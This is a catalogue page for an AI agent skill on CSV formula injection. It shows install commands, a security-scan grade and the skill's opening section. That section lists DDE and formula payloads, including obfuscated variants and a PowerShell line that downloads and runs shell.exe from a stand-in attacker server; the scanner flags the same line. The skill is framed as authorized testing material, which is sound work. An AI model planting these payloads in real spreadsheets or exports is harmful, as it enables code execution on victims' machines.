Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx agentmods add skills/miru-zero/zero-brain/csv-formula-injectionnpx skills add miru-zero/zero-brain --skill csv-formula-injectiongit clone --depth 1 https://github.com/miru-zero/zero-brainWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/miru-zero/zero-brain/csv-formula-injection)<a href="https://agentmods.dev/skills/miru-zero/zero-brain/csv-formula-injection"><img src="https://agentmods.dev/badge/skills/miru-zero/zero-brain/csv-formula-injection.svg" alt="Measured on agentmods" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5 | $0.00041 | $0.01179 |
| Opus 5 | $0.00020 | $0.00589 |
| Sonnet 5 | $0.00008 | $0.00236 |
| Haiku 4.5 | $0.00004 | $0.00118 |
Grade A, and why
csv-formula-injection scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 3d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0 This is a copy
94% identical to csv-formula-injection — 4 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 145 lines — stays where its author put it; the contents beside it link to each section on GitHub.
SKILL: CSV Formula Injection
AI LOAD INSTRUCTION: This skill covers formula/DDE-style injection in CSV and spreadsheet contexts, obfuscation, cloud-sheet primitives, and safe testing methodology. Use only where explicitly authorized; payloads that invoke local commands or remote fetches are impactful—prefer lab targets and document consent. Do not target end users without program rules allowing client-side execution tests.
0. QUICK START
Characters that may trigger formula evaluation when a cell is opened in Excel, LibreOffice Calc, or similar (often only if the cell is interpreted as a formula):
=
+
-
@
Test cells may look like:
name,value
test,=1+1
test,+1+1
test,-1+1
test,@SUM(1+1)
Routing note: when testing CSV exports, back-office reports, or user data opened in spreadsheets, prioritize these prefix characters.
1. DDE INJECTION (EXCEL / LIBREOFFICE)
Dynamic Data Exchange (DDE) and external call patterns historically abused in spreadsheets. Examples for controlled lab reproduction:
DDE("cmd";"/C calc";"!A0")A0
@SUM(1+1)*cmd|' /C calc'!A0
=2+5+cmd|' /C calc'!A0
=cmd|' /C calc'!'A1'
PowerShell-style chaining (lab only; replace host and payload with benign equivalents):
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
2. OBFUSCATION
Defensive parsers may strip obvious patterns; testers may try noise and spacing (still only where allowed):
AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc.exe'!A
Extra whitespace after =:
= cmd|'/c calc.exe'!A
Dispersed characters / unusual spacing (conceptual pattern—adjust per parser):
= C m D |'/c calc.exe'!A
rundll32 style:
=rundll32|'URL.dll,OpenURL calc.exe'!A
3. GOOGLE SHEETS
If exported data is later opened in Google Sheets, or sheets pull from untrusted CSV, these functions can cause outbound requests or cross-document data pulls:
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 3d ago First seen · 145 lines · 41 tokens per session scan A ae1e177c46a6
csv-formula-injection is a skill published in the GitHub repository miru-zero/zero-brain (0 stars, last pushed 16d ago), licensed MIT. It adds 41 tokens to every session and 1,179 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). It is 94% identical to csv-formula-injection, differing in 4 lines, and is treated as a copy.
Other skills, from other repositories
xlsx
当电子表格文件是主要输入或输出时使用此技能。这意味着用户想要：打开、读取、编辑或修复现有的 .xlsx、.xlsm、.csv 或 .tsv 文件（例如添加列、计算公式、格式化、制图、清理混乱数据）；从头创建新的电子表格或从其他数据源创建；或在表格文件格式之间进行转换。当用户通过名称或路径引用电子表格文件时特别触发——即使是随意提及（如"我下载目录里的 xlsx"）——并且想对其进行操作或从中生成内容。也适用于将混乱的表格数据文件（格式错误的行、错位的表头、垃圾数据）清理或重构为规范的电子表格。交付物必须是电子表格文件。当主要交付物是 Word 文档、HTML 报告、独立 Python 脚本、数据库管道或 Google Sheets…
audit-xls
Audit a spreadsheet for formula accuracy, errors, and common mistakes. Scopes to a selected range, a single sheet, or the entire model (including financial-model integrity checks like BS balance, cash tie-out, and logic sanity). Triggers on "audit this sheet", "check my formulas", "find formula errors", "QA this…
google-drive-sheets
Find, read, export, edit, and manage the user's Google Drive, Docs, Sheets, and Slides through per-user OAuth.
feishu
Work with Feishu or Lark bots, docs, sheets, bitables, approval flows, and OpenAPI/MCP setup without hardcoding credentials.
Workspace Data Analyst
Analyze CSV files in the workspace and summarize insights.
excel-helper
Excel 表格助手 - 公式编写、数据透视表、图表可视化、宏自动化、数据清洗.